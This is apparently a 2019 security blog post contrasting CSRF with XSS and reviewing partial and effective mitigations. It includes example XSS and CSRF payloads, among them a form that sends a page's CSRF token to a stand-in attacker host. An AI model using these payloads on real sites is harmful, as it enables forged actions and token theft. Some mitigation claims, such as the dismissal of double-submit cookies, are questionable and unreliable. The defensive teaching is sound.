CSRF vs XSS

8 January 2019 · Technical Web Security

The distinction between CSRF and XSS

We encounter Cross-Site Request Forgery (CSRF or XSRF) vulnerabilities in far too many web security reviews because developers often confuse the concept of CSRF with Coss-Site Scripting (XSS). These are actually opposite concepts (although XSS can be used to exploit CSRF):
XSS uses the trust that a user has in a website; CSRF uses the trust that a website has in a user's browser.

What does XSS look like?

XSS is really easy to exploit on websites that don't escape less-than (<) and quotation mark (") characters. For example, consider a blog that allows user comments.

Everyone who loads the page would get a popup that says “Hello” if a malicious user wrote the following in a comment field:
<script>alert('Hello');</script>

What if someoone took an intranet login page in a company's “trusted” website group with a feature that reported that a specific user was invalid? If through phishing, a bad guy could convince someone to click a link like this:
https://intranet.company.local?user=<script>{constructor.constructor('badstuff()')()}}</script>
(this is a simple example without escaped characters. Other real-world examples include APIs that create scripts from supplied inputs, etc)

Instead of the predictable response of “The user, baduser, doesn't exist,” the page would execute the script.

This creates two risks:

  1. The user is more likely to click a link that appears to be in the Intranet
  2. If the intranet is allowed to do things like run ActiveX or other scripts, the damage could be more severe than on any regular page.

How to avoid XSS?

The easiest solutions are:
  1. Sanitize all input before sending it back to the browser. Any non-alphanumeric characters should be replaced by their escaped HTML equivalents. An easy way to do this is to just change all characters into their ASCII code equivalents. If you can't for some reason, the most important characters to replace for XSS are:
    • The Less-than symbol &lt; to &#60; or &lt;
    • The quotation symbol " to &#34 or &quot;
    • The semicolon symbol ; to &#59
    • The apostrophe symbol ' to &#39 (note that &apos; is not universally supported)
  2. Avoid executing any user-created input or input passed through GET or PUT requests through an API in a user script.

What does CSRF look like?

CSRF usually exploits a predictable URL or form. Consider a website that has a link link this: https://www.example.com/placeorder.php?itemcode=234
It likely relies on a session cookie to track the user so they don't have to log in each time. What happens if a bad guy tricks a user into clicking that link &mdash or even placing an image tag in a forum with that as the SRC URL? It would read the user's cookie and execute. This is why CSRF attacks are often called “one-click” attacks.

Misunderstood mitigation attempts

The following approaches do increase security, but they don't prevent CSRF attacks:

Using POST instead of GET

Since a malicious user could use JavaScript to make a POST request, that just means that the attacker might have to either use a reference to another page that makes the POST request or inject JavaScript into a page that's vulnerable to XSS to accomplish the CSRF attack.

HTTP_REFERER

This is a header that is passed by the client's web browser. As such, an attacker can easily spoof it. There are some security controls built into JavaScript functions like XMLHTTPRequest to prevent spoofing headers. However, in some browsers, it's possible to use define.Property, webRequesat.onBeforeSendHeaders, and other means to spoof the HTTP_RERERER as part of a cross-site request.

HTTPOnly

Setting cookies to HTTPOnly prevents JavaScript from reading cookies and is a best practice. This helps some browsers from allowing malicious sites from reading cookies and sending separate CSRF requests using tools that allow more flexibility spoof things like HTTP_RERERER. However, it doesn't do anything to prevent the XSRF attack channels of using an image, iframe, or link to the affected site.

SameSite

SameSite is another best practice that isn't a complete solution. Keep in mind that it isn't supported in older browser versions, so it won't protect those running older Windows 7 and IE 11, for example (which, unfortunately, includes many medical, corporate and critical infrastructure users). Also, a proxy or man-in-the-middle attack could still allow the passwords to leak. Using SameSite=strict will prevent cookies from being sent by the latest Chrome, Firefox, Opera, and Safari browsers to the server when a user follows a link from another site. GitHub users are very familiar with this problem and have been conditioned to refresh their screens to “log in” to their session. Samesite=lax allows cookies to go through with GET requests, but blocks cookies with POST requests, which are frequently used as part of CSRF attacks.

Content Security Policy

Web headers like Content-Security-Policy, policies do reduce the likelihood of cross-site scripting attacks and processing through eval, injected <script> blocks, and even dynamic CSS statements. However, keep in mind that if an attacker tricks a user into clicking an unprotected link, etc. it may still behave as designed, which would bypass the Content Security Policy.

ClickJacking Prevention

The frame-ancestors directive in Content Security Policies and stand-alone headers like X-Frame-Options can prevent your pages from being imbedded in malicious sites. However, this approach only protects against iframe-related attacks

Double-Submit Cookie or changing the cookie on every request

Some popular libraries and platforms add an additional cookie that changes with every request and call them CSRF mitigation tokens.
Are they really?
No.
Since the page will read the cookie anyhow, it doesn't matter because it would be submitted just as if a user clicked the link.

XSS without HTML injection protection

Some sites just replace “<script” instead of all HTML (like the less-than symbol). This is better than nothing; however, it provides a great opportunity to bypass Samesite, HTTP_RERERER, POST, and leak CSRF tokens (discussed below). For example, if <script> tags are prohibited, but <img> or <form> tags aren't, an attacker could execute a CSRF attack by putting in

<img src=https://www.yoursite.com/placeorder.php?itemcode=23>

Worse yet, what would prevent them from putting in:
</form><form action=yoursite.com/order> . . .
or
<form action="badsite.com/capture_CSRF"><input type=hidden name=”csrf” id=”evilcsrf”></form><img onmouseover="document.getElementByID('evilcsrf').value= document.getElementByID('realcsrf').value;">
etc.

It's even possible to create a bad PDF file, for example that could do scripting activities when an XSS attack isn't possible.

CSRF mitigation that works

The standard way to prevent a CSRF attack is to add an extra field to every POST and GET request that is dynamically generated by the server. Store it like a password in a salted hash on the server and use it in combination with the hash of a cookie that is flagged as HTTPOnly, Secure, SameSite=Strict
Ideally, this token should be changed on every page that sends a request and not allowed to be reused (with some caveats discussed below). Using the above example, an example link would be:

https://www.example.com/placeorder.php?itemcode=234&csrf-token=byVGp3zb*6pNF2X8M6PQg%256%23!tW1*N!sW7c9w8ctyNmIFE2jR2qx48U7kKd24nw8

For forms, use a hidden field for the same purpose.

In addition to using this approach, we recommend hashing the session cookie and/or CSRF token in your database with the user's IP address, User_Agent, and salt if your implementation and privacy regulations allow. This adds some privacy protection if you aren't allowed to associate user records with a retrievable IP address or cookie (as is the case in Europe and other jurisdictions). Although these attributes can be retrieved through a multi-step attack and even spoofed, it adds additional complexity for an attacker. The CSRF token strategy isn't perfect. A man-in-the-middle attack, for example, could intercept the link and execute it before a user has a chance to do so if they are also able to get around your other defenses, such as submitting the right cookie, user_agent, and the same external IP address.

We also recommend implementing the incomplete CSRF mitigations mentioned above:

  • POST instead of GET where possible supports the samesite cookie protection and reduces the opportunities for a one-click or no-click CSRF attack (an image in an email or forum without JavaScript support, for example)
  • HTTP_Referer and SameSite aren't perfect, but add significant complexity to an attack if used in combination with the other suggested protections
  • Dynamic Cookies reduce the opportunities for an offline attack
  • XSS protection doesn't fully protect against CSRF. However, CSRF is a lot easier when an attacker can run arbitrary JavaScript on a vulnerable computer. If you've fully protected yourself against CSRF but not XSS, you're making other sites more vulnerable.
  • Making sure that all of your subdomains are equally protected and/or check your crossdomain.xml for wildcards
  • Full HTML replacement instead of XSS only
  • Content Security Policies
  • Clickjacking mitigation

Here are some others that are good practices as well:
  • Check content type whenever accepting user uploads
  • Assume that all files – even binaries – can contain CSRF exploits
  • Use a third-party web application firewall to catch new attacks
  • If possible, enforce HSTS and the TLS1.2 or higher to make man-in-the-middle attacks more difficult.

Although these protections don't provide 100% security (which few things do), they add up to a fairly strong wall. They also support the “moderately fast gazelle” theory of security: the lion will usually take down the slowest gazelle and avoid the gazelle that takes more effort to attack. Usability concerns.

As with most security-related concepts, there is a tradeoff among usability, performance, and security. While the pure mitigation mentioned above. Strictly changing the CSRF Token field on every request would mean that if a browser session was compromised, the user would know right away. Some sites include a mention of CSRF on the redirected login page that use used for this purpose. However, it also means that refreshing a browser, using the back button, multiple windows with the same page, or opening multiple links from one page (Ctrl-clicking) could cause logouts. For this reason, many sites keep a history of CSRF token hashes and allow limited reuse. For example, you could allow two concurrent CSRF tokens associated with the same session cookie. This would allow a user to have two windows open. Similarly, instead of immediately replacing CSRF tokens every time they are clicked, you could keep a history of more than one cookie and set an expiration date so users can refresh their screens within a certain period.

Of course, there's a trade-off: the more tokens you allow to be reused, the more opportunities exist for replay attacks and the longer they stay valid, the longer an attacker has for an offline attack. This is why all of the partial-mitigation approaches remain of value. As with most security concepts, defending your website and its users with multiple layers is the best strategy.